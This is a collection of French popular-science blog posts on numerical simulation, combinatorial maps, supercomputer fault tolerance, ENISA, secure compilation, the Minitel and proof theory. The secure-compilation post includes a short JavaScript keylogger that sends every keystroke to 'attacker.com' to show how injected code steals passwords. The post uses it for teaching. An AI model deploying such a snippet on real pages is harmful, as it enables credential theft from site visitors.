Il est remarquable que la communauté aborde aujourd’hui des champs nouveaux en dehors des applications plus classiques à la physique ou à l’ingénierie. La modélisation mathématique et la simulation numérique du trafic routier ou piétonnier qui s’y rattache en offrent un exemple assez proche de la mécanique des fluides. Citons ici les travaux de P. Goatin. On illustre ci-dessous une simulation d’évacuation de salle par deux issues dont la première est rapidement congestionnée. L’objectif à terme de ce type de simulation est de mieux concevoir la salle afin d’une évacuation plus rapide en cas d’alerte.

 
Simulation de l’évacuation d’une salle en cas d’alerte. Cliquer pour animer (P.Goatin, 2013). Vue aérienne. Les personnes sont initialement massées à proximité du mur à gauche. Lorsque l’alerte est donnée, elles se dirigent vers l’issue la plus proche, qui, assez vite, se congestionne. Une partie du groupe se dirige alors vers l’issue de droite.

Enfin, notons que les travaux initiés en 2000 sur la modélisation de la circulation sanguine cités précédemment ont pris de l’ampleur, comme en témoigne la figure ci-dessous qui illustre la montée en puissance du calcul (1 s de temps physique exige 500 000 pas de temps de simulation, soit 83 mn de temps calcul sur 24 cœurs du Mésocentre Régional Aquitaine, MCIA, en 2014), et la sophistication du modèle physico-numérique actuel (potentiel de membrane sur les ventricules, modèle géométrique du patient, hypothèses de structure des tissus; calcul: intégrateurs exponentiels pour la réaction).

 
Simulation de l’activité cardiaque dans le cadre du Projet CardioSense [4]. Cliquer pour animer.

Après de tels succès, comment imaginez-vous les futurs progrès de votre discipline ?

Oui il y a eu des succès, grâce à beaucoup de travail et de trouvailles par les chercheur.e·s, et en même temps, on aurait bien aimé aller beaucoup plus vite !

Aujourd’hui nous avons conscience d’un certain nombre de défis vitaux pour l’humanité, dans les domaines de l’évolution de la planète (la préserverons nous ?), dans le domaine de la santé (les progrès de la médecine sont-ils pour tous ?), et de l’énergie (comment la décarboner ?). Les numéricien·ne·s ont un rôle important à jouer pour relever ces défis, mais cela implique de pouvoir transmettre leurs mathématiques et leurs algorithmes vers les sciences de la terre, la biologie, la médecine, etc.

On prévoit un plus grand impact de la modélisation de notre environnement et une exigence accrue en matière de sécurité des systèmes et d’environnement pour une régulation plus efficace des processus industriels et la conformité des produits à la réglementation, notamment en matière de contrôle de la pollution.

Aujourd’hui les plus gros calculs en termes de volumes d’opérations sont conduits par les grands industriels, souvent de l’industrie du transport ou de la défense. Le principe général est de décomposer le calcul global en blocs indépendants a priori plus simples à résoudre, de calculer chacun d’entre eux (éventuellement de façon parallèle), puis de fusionner l’ensemble. Les calculs moins volumineux mais complexes sont le plus souvent exécutés par des sociétés de service.

La sophistication de nos méthodes va s’accélérer, avec plus de mathématiques (précision, algorithmes de résolution, adaptation de maillage, identification, optimisation), la prise en compte de plus de lois physiques, couplant des phénomènes divers, la prise en compte des aléas.

Il faudra aussi que la programmation sur les futures architectures d’ordinateurs soit efficace, mais en proposant des outils pour lesquels les mécanismes trop complexes à guider (le maillage, le parallélisme, notamment) seront transparents pour l’ingénieur utilisateur ou des non-spécialistes: pourquoi-pas ne pas envisager des travaux de science participative impliquant des citoyen·ne·s ?

Jean-Antoine Désidéri & Alain Dervieux.

[1] M.O. Bristeau, 0. Pironneau, R. Glowinski, J. Périaux, P. Perrier, and G. Poirier: On the numerical solution of nonlinear problems in fluid dynamics by least squares and finite element methods (II). Application to transonic flow simulations, Computer Methods in Applied Mechanics and Engineering 51, 1985

[2] A. Dervieux, J.-A. Désidéri, F. Fezoui, B. Palmerio, J.P. Rosenblum, B. Stoufflet: Euler calculations by upwind Finite Element Methods and adaptive mesh algorithm, GAMM Workshop on the Numerical Simulation of Compressible Euler Flows, Rocquencourt (F), June 10-13 1986, Notes in Numerical Fluid Dynamics 26, Vieweg , Braunshweig-Wiesbaden

[3] M.V. Salvetti, M.C. Ciccoli and J.-A. Désidéri: Non-equilibrium external flows including wall-catalysis effects by adaptive upwind finite elements, Russian Physics Journal, 36:4, 1993

[4] S. Labarthe, J. Bayer, Y. Coudière, J. Henry, H. Cochet, P. Jaıs and E. Vigmond: A bilayer model of human atria: mathematical background, construction, and assessment, Europace 16:4, The Oxford University Press, 2014

Notes:

La notion de stabilité. Les solutions produites par simulation numérique résultent de la somme de deux composantes. La première, dite composante convergente, approche la solution exacte des équations aussi précisément que nécessaire par raffinement du maillage, quitte à augmenter le coût du calcul. La seconde est dite composante parasite. Lorsque le schéma d’approximation est « stable’’, la composante parasite reste à un niveau faible, intimement lié à la précision arithmétique des opérations élémentaires sur l’ordinateur. À l’inverse, si le schéma est instable, la composante parasite s’amplifie exponentiellement dans le déroulé de l’algorithme jusqu’à noyer complètement le résultat. Il est donc impérieux en analyse numérique d’établir de manière fiable les propriétés de stabilité des schémas d’approximation.

Publié le

Les comptes du Petit Prince

Crédit photo: via le site internet personnel de Wenjie Fang
Lauréat d’un accessit au prix SIF Gilles Kahn, Wenjie Fang a travaillé pendant sa thèse sur le dénombrement des cartes combinatoires au laboratoire IRIF de l’Université Paris 7. Ses travaux, très théoriques, peuvent servir aux effets spéciaux des jeux vidéos, ou bien à savoir comment cartographier le célèbre astéroïde B612. Charlotte Truchet

Supposons que le petit prince, qui vit sur l’astéroïde B 612, veut tracer quelques chemins sur sa planète pour mieux se déplacer, surtout vers sa rose, mais aussi vers les endroits fréquentés par les baobabs qu’il doit arracher. Disons qu’il doit connecter 8 endroits par 11 chemins, et sans que les chemins ne se croisent. De combien de façons le petit prince peut-il connecter son réseau, sans tenir compte de petites variations sur la forme des chemins ?

C’est la question à laquelle j’ai répondu pendant ma thèse, et ça s’appelle : compter des cartes combinatoires.

Supposons que le petit prince a construit son réseau, et on doit en faire un plan. Comment s’y prendre ? Comme l’astéroïde est très petit, on peut oublier la longueur des chemins, et seulement regarder comment ils connectent les points d’intérêt. Mais ce n’est pas suffisant. Pour un point donné, par exemple la rose, il existerait plusieurs chemins qui y mènent. Pour naviguer, il faut aussi savoir comment les chemins sont reliés à chaque point. Si on arrive à la rose par un certain chemin, quel sont les chemins immédiatement à sa gauche et à sa droite ? C’est tout ce dont on a besoin.

By Arnaud Malon from Paris, France [CC BY 2.0], via Wikimedia Commons
Une carte combinatoire est une combinaison de ces informations : des points, des chemins, et la façon dont les chemins sont reliés à chaque point (lequel est à gauche/droite duquel). Avec ces informations, on sait parfaitement comment le réseau se connecte. Chaque carte indique alors une façon unique de construire le réseau, et notre problème initial revient à compter les cartes, étant donné le nombre de points et de chemins.

Pendant ma thèse, l’un de mes travaux était de compter une famille de cartes appelée « cartes biparties ». Avec mon directeur, j’ai compté ces cartes en contrôlant beaucoup de choses, sur la planète du petit prince, mais aussi sur des planètes mal fichues, par exemple avec des trous, comme un doughnut (1 trou) ou un bretzel (3 trous).

Peut-être vous demandez-vous : pourquoi les cartes nous intéressent ?

Bien sûr, la notion de carte ne vient pas du néant. L’histoire des cartes date des années soixante, à partir d’un effort du mathématicien canadien W.T. Tutte pour étudier la fameuse conjecture des quatre couleurs. Il n’arriva pas à prouver le théorème, la preuve fut obtenue des années plus tard, en 1976, à l’aide de l’ordinateur. Néanmoins, Tutte nous laissa un héritage sur cette question : comment compter les cartes en cassant les grandes cartes en morceaux, qui sont des cartes contenant moins de chemins.

Des chemins sur un bretzel
Copyright: Wenjie Fang

Ensuite vinrent les physiciens, qui voulaient étudier les collisions de particules. Ce n’est pas facile; il faut calculer des intégrales bizarres. Les physiciens, très malins, inventèrent une façon de réduire ces intégrales au comptage des « gros graphes », qui sont en fait des cartes sur des planètes comme on les a définies.

Les cartes sont utiles pour d’autres applications. Par exemple, si on prend une carte aussi dense qu’une toile d’araignée sur la planète du petit prince, alors la carte toute seule nous permet de reconstruire à peu près le terrain. Autrement dit, une carte donne une approximation d’une surface. C’est pourquoi on utilise les cartes pour encoder des objets, dans la fabrication des effets numériques pour des jeux de vidéo et des films. Pour améliorer l’encodage, il est nécessaire de compter les cartes associées.

Compter les choses, ça sert !

Wenjie Fang

 

Publié le

Résilience

Les besoins croissants en calculs font que les informaticiens mettent au point des machines de plus en plus puissantes – les plus grandes d’entre elles étant baptisées super-ordinateurs – en augmentant le nombre et la puissance de leurs composants. Séduisante sur le papier, cette idée d’augmenter les performance en multipliant les ressources matérielles souffre malheureusement de plusieurs défauts dont les pannes. Aurélien Cavelan a soutenu une thèse à l’Université de Lyon, opérée par l’École Normale Supérieure de Lyon et préparée au Laboratoire de l’Informatique du Parallélisme et au centre Inria Grenoble Rhônes-Alpes (équipe ROMA), sous la direction de Anne Benoit et Yves Robert sur le sujet de la résistance aux pannes, on parle alors de résilience des ordinateurs. Pascal Guitton

Photo de l'auteur Aurélien CavelanDes dizaines de milliers de processeurs dans un ordinateur ? Ces « super-ordinateurs » sont indispensables aujourd’hui dans beaucoup de domaines notamment scientifiques : simuler la naissance de l’univers, chercher de nouveaux vaccins, prévoir la météo, ce ne sont pas les applications qui manquent. Seulement voilà : il se trouve que ces monstres de calculs ne brillent pas vraiment par leur capacité à rester en marche …

L’attaque des clones

C’est un phénomène bien connu : la probabilité qu’un système tombe en panne est tout simplement la probabilité qu’un de ses composants tombe en panne … multipliée par le nombre total de composants dans le système. Pour faire simple, imaginez que votre ordinateur ne tombe en panne qu’une fois tous les 100 ans en moyenne (soyons très optimiste !). Si vous décidez d’en acheter 100 identiques pour construire votre propre super-ordinateur, alors celui-ci tombera en panne une fois par an en moyenne. Avec la même logique, si vous décidez d’en acheter 365 * 100, alors il subira une panne tous les jours en moyenne ! C’est par exemple, le cas de Titan par exemple, le numéro 5 mondial en termes de puissance de calcul, avec ses 36000 processeurs et cartes graphiques. En 2010, Jaguar, alors le plus puissant super-ordinateur (qui deviendra plus tard Titan), enregistrait 350 erreurs … par minute !

Une solution pour récupérer de pannes est de sauvegarder périodiquement les données de l’application. On évite ainsi d’avoir à redémarrer depuis le début si l’exécution est interrompue, surtout quand on sait que certaines simulations nécessitent plusieurs jours, voire plusieurs semaines de calculs !

Malheureusement, ces systèmes doivent aussi faire face à un autre problème, beaucoup plus sournois …

Image du super ordinateur Titan

La menace fantôme

Ce sont les erreurs silencieuses. On ne les voit pas directement, mais on peut en observer les effets, lorsqu’une application a soudain un comportement étrange ou produit des résultats erronés. La cause principale ? Des rayons cosmiques, ou plus précisément des particules chargées en énergie qui traversent notre atmosphère et qui, de temps en temps, interagissent avec la mémoire des composants électroniques. Il arrive alors qu’un bit (la plus petite unité d’information utilisée dans un ordinateur) passe de la valeur « 1 » à la valeur « 0 » (ou vice versa), modifiant ainsi le contenu de la mémoire à cet endroit.

En fait, ces super-ordinateurs sont devenus tellement imposants au fil des années qu’ils agissent aujourd’hui comme de véritables détecteurs de particules ! Depuis quelques années, des codes de détection d’erreurs sont utilisés dans les différentes composants matériels (CPU, GPU, RAM, bus, réseau…) pour détecter et corriger ces erreurs avant qu’elles ne puissent faire des dégâts. Cependant, il arrive que certaines d’entre elles échappent quand même à ces contrôles assez simples, remettant alors en cause l’exactitude des résultats obtenus.

Dans ma thèse, je parle de résilience : c’est la capacité à récupérer rapidement de pannes ou d’erreurs. Comme le temps d’utilisation de ces grands ordinateurs est précieux, on cherche à maximiser l’utilisation du système et à minimiser le temps d’exécution des applications.

Pour atteindre cet objectif, je propose des modèles qui me permettent d’estimer le temps d’exécution d’une application en fonction du nombre d’erreurs et de pannes. Plus précisément, un modèle décrit l’ensemble des paramètres à prendre en compte (nombre d’erreurs sur la machine, nombre de processeurs, quantité d’opérations que l’application doit effectuer, temps de sauvegarde de l’application …) ainsi que l’ensemble des règles qui régissent ses paramètres (souvent, des formules assez compliquées …).

Grâce ces modèles, il est possible de déterminer la solution optimale pour une application : quel type de détecteur utiliser pour les erreurs, ou bien quelle période de sauvegarde optimale : trop courte, on perd trop de temps à sauvegarder les données de l’application vs trop longue et on perd trop de temps à cause des pannes.

Aurélien Cavelan, Université de Bale
@razlock

 

 

Publié le

Plus silencieux que la grande muette

Après avoir présenté la certification de systèmes informatiques à l’occasion d’un article de binaire et l’émergence de débats sur le fait que les états doivent ou pas déléguer certaines de leurs prérogatives dans la sécurité numérique. Binaire a reçu le point de vue de deux collègues à propos d’un des acteurs de ces questions : l’ENISA. L’agence européenne de sécurité des réseaux est une agence de cybersécurité, qui est au centre de ce débat.
Pierre Paradinas

L’agence européenne de sécurité des réseaux ne craint plus sa disparition

https://www.enisa.europa.euOn a presque oublié son existence :  l’Union Européenne dispose d’une agence de cybersécurité, l’ENISA. On ne l’a jamais beaucoup entendue mais ce n’est pas sa faute : son rôle opérationnel a été limité dès sa naissance, par la volonté des grands Etats membres qui voyaient d’un mauvais œil une incursion européenne dans leur sécurité nationale.

C’est aussi la raison pour laquelle l’ENISA a été la seule agence européenne avec un mandat non permanent, à l’issue duquel son existence était chaque fois remise en question. Elle était de ce fait incapable de se projeter dans le futur et de développer une vision.

Son mandat actuel se termine en 2020 (il a commencé en 2013 : ces 7 ans de mandat sont le maximum jamais attribué à cette agence) mais en septembre la Commission a proposé une nouvelle stratégie pour la cybersécurité qui fait la part belle à cette agence. Son budget annuel doublerait : de 11,2 à 23 millions € et son personnel passerait de 84 à 125. L’agence aurait aussi un rôle opérationnel pour coordonner la réaction des Etats membres en cas de cyber-attaque.

L’ENISA va aussi être un acteur clé pour la cyber-certification. Si on veut considérer la sécurité dès la conception du produit (on parle alors de « security by design »), la certification est nécessaire mais chaque état membre, s’il s’en préoccupe, le fait à sa sauce.  Il y a bien la norme ISO 15408 qui sert de socle à un accord international (le Common Criteria Recognition Arrangement ou CCRA) de reconnaissance mutuelle mais seuls 13 Etats membres  l’ont signé et seuls deux niveaux de certifications sur sept sont reconnus mutuellement. Avoir une certification propre à chaque état membre est évidemment insupportable pour la Commission qui y voit une entrave au marché unique. Chaque Etat membre doit mettre en place une autorité chargée d’accréditer des organes qui peuvent délivrer les certificats. Ainsi c’est l’ENISA qui serait chargée de préparer le contenu de ces certifications en coopération avec un groupe d’experts constitué des autorités d’accréditation. À moins d’être obligatoire via une autre législation de l’Union, la certification resterait volontaire. En gardant un caractère volontaire à la certification, la Commission veille à ne pas imposer cette lourdeur aux services ou produits peu critiques et dont le prix augmenterait de ce fait. S’il y a une certification européenne en place, les Etats membres ne pourront plus avoir une certification nationale propre. Un fabricant pourra aller chez l’organe d’accréditation de son choix.

La directive « cybersécurité  » avait déjà revu à la hausse le champ de responsabilité de l’ENISA en la transformant en cheville ouvrière pour son implémentation et son suivi. C’était une bonne raison de transformer l’ENISA en agence permanente.

Dans sa proposition de régulation qui fixe le contour de l’ENISA, nouvelle formule, cette dernière aura les compétences suivantes :

  • Développer une politique cohérente européenne de sécurité de l’information et dans d’autres secteurs sensibles (énergie, transport, finance) et dans les domaines de l’identité électronique et des services de confiance;

  • Améliorer de la capacité de réponse de l’Union Européenne et de ses Etats membres en cas d’attaque (1);

  • Conseiller le nouveau centre de recherche en cybersécurité : le European Cybersecurity Research and Competence Centre qui verra le jour en 2018;

  • Faciliter la coopération entre les Etats membres volontaires (on imagine de fait que peu de grands Etats le feront), en analysant en cas d’incident des informations reçues des Etats membres pendant leur déroulement.

Justifier un rôle pour l’ENISA

La Commission justifie une action au niveau de l’Union Européenne via le test de subsidiarité, qui doit prouver qu’une action au niveau européen ne peut qu’être plus efficace comparée au niveau national. Ce qui, quand on parle de sécurité est une une gageure, les arguments devront être solides pour résister aux grands Etats membres qui ont, c’est vrai, entériné lors d’un conseil européen la nécessité pour l’Europe de se doter d’une cyber-stratégie.

Pour la Commission, les réseaux, les systèmes d’information, les infrastructures critiques sont toutes interconnectées au niveau européen. Aucun pays ne peut plus gérer seul un cyber-incident qui se propagera automatiquement à tous ses voisins de surcroit. Vu ainsi, il ne s’agit pas comme le prétendent d’aucuns d’un transfert de compétences qui privent les Etats membres de leur capacité d’analyse [1]. Accepter une coordination de l’Europe, c’est faire un premier pas vers l’Europe de la défense qui nous a tellement manqué. La France, qui est le plus crédible des Etats membres en la matière, peut montrer la voie.

Charles Cuvelliez, École Polytechnique de Bruxelles (ULB), Jean-Jacques Quisquater, École Polytechnique de Louvain, UCL

Pour en savoir plus:

Review of ENISA Regulation and laying down a EU ICT security certification and labelling, European Commission, July 7, 2017

Proposal for a REGULATION OF THE EUROPEAN PARLIAMENT AND OF THE COUNCIL on ENISA, the « EU Cybersecurity Agency », and repealing Regulation (EU) 526/2013, and on Information and Communication Technology cybersecurity certification ( »Cybersecurity Act »), Brussels, 13.09.2017

[1] Les Etats ne doivent pas déléguer leur sécurité numérique  Nicolas Arpagian / directeur scientifique du cycle Sécurité Numérique à l’INHESJ, Les Echos du 30.11.2017

(1) On peut se demander pourquoi elle ne devient pas elle-même cette capacité de réponse, une option qui figurait dans une consultation à son égard. Elle doit se contenter de contribuer à l’établissement d’ISACS (Information Sharing and Analysis Centres) par secteur en diffusant bonnes pratiques et guidance.

Publié le

Est-ce que mon programme est bien protégé contre les cyberattaques?

Garantir la sécurité d’un programme est un problème difficile. Cela n’est sûrement pas une nouvelle pour vous étant données toutes les cyberattaques dont on entend parler dans les journaux aujourd’hui (WannaCry, Attaque vers Yahoo, Petya, Cyberguerres, etc.). Ce que nous savons moins, c’est l’importance des langages de programmation (ces langages comme JavaScript qui permettent de créer des animations dans nos pages web) dans la sécurité de nos programmes. Pour découvrir cet aspect bien moins connu, donnons la parole à notre collègue Tamara Rezk. Pierre Paradinas et Pascal Guitton.

Écrire du code sûr et s’assurer que celui-ci satisfait des propriétés de sécurité est nécessaire pour contrer d’éventuelles cyberattaques. Mais ce n’est pas suffisant. Encore faut-il que le programme qui sera exécuté par l’ordinateur soit sûr. Vous avez bien lu: écrire un programme sûr et s’assurer qu’il s’exécute de manière sûre sont deux choses bien distinctes.

En effet, le code source dans lequel le développeur écrit son programme et le code qui s’exécute peuvent être très différents :

© Tamara Rezk et dreamstime.com

Dans cette figure, le code source écrit par le développeur se trouve en haut. En dessous, le code exécuté par l’ordinateur. Ce dernier est bien différent du code source : dans l’exemple c’est un code binaire, une séquence de 0 et de 1, généré par un compilateur.

Nos smartphones, tablettes ou ordinateurs sont de gigantesques circuits électroniques dont il faut expliciter chaque opération. Les instructions qui pilotent ces circuits sont exprimées en « langage machine » qui est trop complexe pour être manipulé directement par un opérateur humain, alors on implémente nos algorithmes dans un langage plus facile à comprendre et à manipuler et qui peut être traduit automatiquement en langage machine. Le compilateur est l’outil logiciel qui effectue cette traduction comme le raconte l‘histoire de Grace Hopper ou presque. On parle d’interpréteur si cette traduction est faite pas à pas, la problématique étant la même ici.

Un compilateur est donc un traducteur. Comment être sur que la traduction est correcte ? Des erreurs de traduction peuvent avoir des conséquences très importantes, par exemple lorsque deux présidents se parlent. Même si un président pèse bien son discours, comment être sur que le traducteur le retranscrit exactement ? Si vous lisez ce blog assidûment, vous avez déjà entendu parler de compilateurs corrects ou compilateurs sans bugs (cf. l’article datant de 2016 sur Xavier Leroy).

A priori, on pourrait penser que lorsqu’un compilateur traduit correctement un programme, les propriétés de sécurité satisfaites par le code source le sont aussi par le code compilé. Malheureusement, ce n’est pas toujours le cas.

En guise d’exemple, prenez un programme avec deux variables : la variable x, qui contient des données publiques, et la variable ncarte, qui contient des données confidentielles, par exemple votre numéro de carte bancaire. Lorsque le compilateur est correct, la séquence de 0 et de 1 correspond exactement aux valeurs de la variable x et de la variable ncarte dans le code source:

© Tamara Rezk

Cependant, même dans le cas d’un compilateur correct, notre code n’est pas protégé. Le fait que les variables x et ncarte soient l’une à côté de l’autre en mémoire dans le code binaire est une faille de sécurité. Le code de l’attaquant peut se trouver dans cet environnement. Ce code peut récuperer un pointeur vers la variable x car celle-ci est dans la zone publique de la mémoire. Grâce à la contigüité des variables x et ncarte dans la mémoire, il va pouvoir récupérer la valeur de la variable confidentielle, en regardant juste un cran plus loin dans la mémoire.

© Tamara Rezk et wpclipart.com

Par contre, si le compilateur avait placé la variable ncarte dans une partie protégée de la mémoire, l’attaquant n’aurait pas pu obtenir sa valeur. Sauf si …

Sur l’importance de la mémoire protégée et l’attaque Meltdown.

Vous voyez dans ce simple exemple que la valeur de ncarte est accessible par l’attaquant parce que sa valeur en mémoire n’est pas protégée par compilation. Un problème de sécurité tout a fait similaire, mais dans un contexte plus général et avec des causes différentes, est l’ attaque de Meltdown (voir article du Blog binaire ou celui sur Le Monde ). En effet, en général, un programme ne s’exécute pas tout seul : il partage son environnemment d’exécution avec d’autres programmes de manière orchestrée par le système d’exploitation qui lui aussi s’exécute sur la machine. La mémoire utilisée par notre programme est donc partagée avec son environnement. Quand plusieurs programmes s’exécutent en même temps dans un environnement, la mémoire protégée est une brique fondamentale pour la sécurité. Malheureusement cette brique fondamentale est vulnérable, parce que par exemple, dans l’attaque Meltdown, l’attaquant peut accéder à toute la mémoire, y compris la mémoire qui devrait être protégée (comme dans notre exemple). À la différence de notre exemple, la cause de cette vulnérabilité n’est pas les bugs de programmes, ni les compilateurs, ni le système de exploitation. La cause principale est dans le hardware, et en particulier dans les processeurs Intel –et potentiellement d’autres.

Comment garantir la sécurité de l’exemple alors ? Cet exemple illustre que la sécurité de votre programme ne dépend pas seulement du code écrit par le développeur. Mais, comme disait Saint-Exupéry, l’essentiel est invisible pour les yeux. L’essentiel pour la sécurité est que le code qui va s’exécuter soit sûr. Ce code et sa sécurité dépendent du compilateur et de l’environnement d’exécution, comme le hardware. L’idéal serait de disposer d’un compilateur qui traduise correctement le code source en code binaire tout en préservant les propriétés de sécurité, de disposer d’un environnement sûr, d’une mémoire vraiment protégée par le hardware et le système d’exploitation.

Propriétés de sécurité.

Parmi les propriétés de sécurité, deux classes sont particulièrement utiles : la confidentialité et l’intégrité. La propriété de confidentialité assure que des données confidentielles, par exemple votre code secret, ne pourront pas être lues par l’attaquant. La propriété d’intégrité assure que des données sensibles, par exemple le montant du virement bancaire que vous allez effectuer, ne pourront pas être modifiées par l’attaquant.Prenons comme exemple un programme, qui ne possède pas ces propriétés de sécurité, dans le domaine du web. Disons que ce programme télécharge une image lorsque l’on clique sur une touche du clavier. Le code pourrait se présenter sous cette forme :

 onkeypress = function(e) {
 new Image().src = url;
}

Si l’attaquant s’introduit dans l’environnement d’exécution, il pourra alors changer le code de la manière suivante:

 url = 'http://attacker.com/?='; 
onkeypress = function(e) {
  var leak = e.charCode;
  new Image().src = url + leak;
}

Ce code source envoie la valeur de chaque caractère tapé avec le clavier vers un serveur «  http://attacker.com ». Pourquoi ce code constitue-t-il une attaque ? Imaginons que cette page est la page d’accueil du site PayPal, outil de virement en ligne. À chaque fois que vous tapez un caractère de votre mot de passe, celui-ci sera envoyé à l’attaquant. Tout cela sans même que vous vous en rendiez compte, puisque la page web fonctionne comme d’habitude. L’attaquant récupère donc votre mot de passe et pourra réaliser sans peine des virements à partir de votre compte vers le compte de son choix.

© Tamara Rezk, paypal.com et wpclipart.com

Pour ceux qui utilisent le site de PayPal ne vous inquiétez pas: l’attaque décrite ici n’existe pas sur le site actuel de PayPal (mais il a eu d’autres attaques sur ce même site, voir Attaque PayPal). Par contre, l’attaque décrite ici est tout de même envisageable sur d’autres sites. Si vous pensez : « mais non, il est impossible que le code de l’attaquant se retrouve dans l’environnement d’une page web !», alors visitez votre page web préférée et regardez attentivement : voyez-vous de la publicité ? La publicité est un excellent moyen, mais pas le seul, pour l’attaquant d’injecter son code. Le code servant à présenter une publicité provient de serveurs tiers, différents de celui qui sert la page que vous visitez. La publicité est à la base du modèle économique du web, et de ce fait, elle est omniprésente sur la plupart des sites web.

Mais quel est le lien avec les compilateurs sûrs mentionnés plus haut ? Comme dans le cas des compilateurs, le code source envoyé par le serveur web est différent du code exécuté dans le navigateur. Cette transformation ne constitue pas nécessairement une compilation. Le code qui s’exécute dans le navigateur peut être différent du code source parce qu’il est enrichi avec du code provenant de serveurs tiers, comme les bandeaux de publicité par exemple. Les transformations du code qui préservent les propriétés de sécurité et le développement de langages de programmation avec des compilateurs sûrs constituent aujourd’hui des domaines actifs de recherche.

En conclusion, rappelons simplement que pour être sûr, votre programme doit non seulement satisfaire des propriétés de sécurité, mais ces propriétés doivent être conservées tout au long des transformations qu’il subit jusqu’à son exécution.

Tamara Rezk, Inria (Equipe-projet Indes, Sophia-Antipolis).

Appendice : Recherche scientifique sur la compilation sûre.

Les transformations du code qui préservent les propriètes de sécurité et le développement de langages de programmation avec des compilateurs sûrs constituent aujourd’hui des domaines actives de recherche.
Par exemple, le projet ERC SECOMP a comme objectif d’utiliser des capabilités de hardware pour définir des compilateurs sûrs pour des langages comme le langage C. Pour avoir la sécurité sans sacrifier l’efficacité, ce projet propose la compilation sûre vers une architecture qui associe une étiquette à chaque partie de la mémoire. Ces étiquettes, que indiquerons une politique de sécurité, seront en
suite inspectées et vérifiées.
Un autre projet, le projet ANR CISC a comme objectif définir des langages
de programmation et des compilateurs sûrs pour l’IoT. Pour avoir la sécurité
dans un environnement complètement hétérogène, ce projet propose l’utilisation
des langages multitiers, c’est à dire des langages qui permettent de programmer tous les composantes de l’IoT – serveur, clients, objets physiques, avec un
seul code. Ce langage sera ensuite compilé de manière sûre vers les différentes
architectures.
D’autres travaux sont menés à KU Leuven qui étudient la compilation sûre vers des architectures conçu spécifiquement pour la sécurité, comme par exemple l’architecture Intel SGX.

Publié le

Avec le Minitel, il y avait du rose…

Photo Maggie Richards

Le 19 décembre, l’ISCC (Institut des sciences de la communication CNRS / Paris-Sorbonne / UPMC) avait invité Julien Mailland, auteur avec Kevin Driscoll de « Minitel :  Welcome to the Internet ». Julien Mailland a préparé pour binaire un petit texte sur le Minitel en lien avec les questions actuelles sur la neutralité du Web, avec un regard incluant l’expérience du Minitel…
Thierry Vieville et Pierre Paradinas

Pour penser le futur du Net, interrogeons le passé

Une campagne d’affichage de La Quadrature du Net nous rappelle à juste titre que « Google filtre ta pensée, » « Apple sait où est ta mère, » et « Facebook contrôle ce que tu peux lire. »  Aux États-Unis, une récente décision du régulateur des télécoms (la FCC) a enterré la neutralité du Net et permet donc à des FAI en position de monopole, ou au mieux d’oligopole, de bloquer des pans entiers de l’internet, à leur guise, pour des raisons purement mercantiles et qui ne bénéficient en rien aux utilisateurs.  Et on a appris récemment qu’Apple, qui peut prendre contrôle à distance de tout iPhone, ralentit délibérément ses vieux modèles – dans l’intérêt du consommateur, nous dit-on, ou est-ce plutôt un cas d’obsolescence programmée ?  Partout, l’intérêt public est sacrifié à celui de quelques multinationales qui contrôlent les différentes couches de l’internet : l’infrastructure physique,  les terminaux, et les applications.  Cette tendance vers un monde déjà orwellien, et qui risque de le devenir de plus en plus à la mesure que les régulateurs n’agissent pas à la hauteur des responsabilités qui sont les leurs, est-elle cependant inéluctable ?

Photo J. Mailland

Un cas d’espèce venu du passé – le réseau Minitel – nous invite à imaginer un futur différent de celui proposé par Google, Apple, Facebook, et consorts, un avenir où l’intérêt public serait ancré dans l’écosystème digital.  Si le réseau Minitel, qui a fermé en 2012, est souvent raillé pour sa lenteur et sa primitivité, il était pour l’époque une merveille technologique.  Mais ce qui est surtout important aujourd’hui est que l’exemple Minitel démontre que l’innovation privée et l’intérêt public ne sont pas toujours incompatibles, bien au contraire.  Avec Minitel, le fait que l’infrastructure physique au cœur du réseau était opérée par une entité publique (les PTT), offrait tant aux usagers qu’aux fournisseurs de contenu certaines garanties : l’égalité de traitement et la neutralité (celle-là même que les fournisseurs d’accès internet privés souhaitent voir abolir), et le respect de la vie privée (ce qui a permis par exemple l’explosion du Minitel rose), qui est garantie par le Code Civil, mais dont Mark Zuckerberg nous assure que nous ne voulons plus, afin qu’il puisse, sans restriction, monétiser nos vies.  Non seulement ces garanties n’ont pas empêché l’innovation, mais elles ont contribué à la catalyser : à l’aube du Web au début des années 90, la France entière était en ligne, contrairement aux pays où le secteur privé était seul en charge ; aux États-Unis par exemple, le futur Vice-Président Al Gore estimait en 1991 le nombre d’Américains connectés sur les systèmes tels Compuserve et Prodigy à moins d’un demi-million, soit une pénétration de 0.2%.

Ce n’est pas dire que les états devraient nationaliser les réseaux internet.  Simplement, l’exemple du Minitel nous montre qu’une intervention publique stratégique et de qualité peut catalyser l’innovation numérique plutôt que la ralentir, ce qui est d’ailleurs exactement ce qu’arguait Al Gore en réclamant un financement public d’un réseau national, ce qu’il obtint, pavant un gros bout de chemin vers l’Internet moderne.  Demain, cette intervention publique pourrait, en France, prendre plusieurs formes.  D’abord, une application attentive des règles de neutralité dans la durée par l’Autorité de Régulation des Communications Électroniques et des Postes (ARCEP) afin de les pérenniser et de garantir l’égalité de traitement en aval, par les FAI, des contenus et applications auxquels les utilisateurs souhaitent accéder.  D’autre part, une application ferme de règles de protection de la vie privée aux plateformes digitales afin, par exemple, que Facebook ne puisse conserver les données d’un utilisateur se désinscrivant de ses services, ou que Google ou Samsung ne puisse plus vous enregistrer à votre insu.  Ce type d’intervention publique, l’expérience Minitel nous l’indique, n’est pas en contradiction avec l’innovation par le secteur privé, quoi qu’en pensent Mark Zuckerberg et Stéphane Richard.

Ecran minitel : Photo J. Mailland

Julien Mailland

Pour aller plus loin, de Julien Mailland

Publié le

La preuve en boucle

Amina Doumane

Quand on interroge Amina Doumane sur son domaine de recherche, on réalise vite que l’on va devoir la suivre dans une certaine gymnastique intellectuelle, façon mise en abyme à la Inception. Le but de sa thèse était de prouver qu’une preuve est bien une preuve. Mais évidemment pas n’importe quelle preuve…

Cette post-doctorante au Laboratoire d’informatique du parallélisme (LIP – CNRS/ENS Lyon/Université de Lyon), qui a mené sa thèse entre l’Institut de Recherche en Informatique Fondamentale (IRIF – CNRS/Université Paris-Diderot) et le Laboratoire Spécification et Vérification (LSV – CNRS/ENS Paris-Saclay) vient d’obtenir à la fois le prix de thèse Gilles Kahn décerné par la SIF, et le Prix La Recherche, pour le domaine sciences de l’information, pour son article présenté au LICS2017.

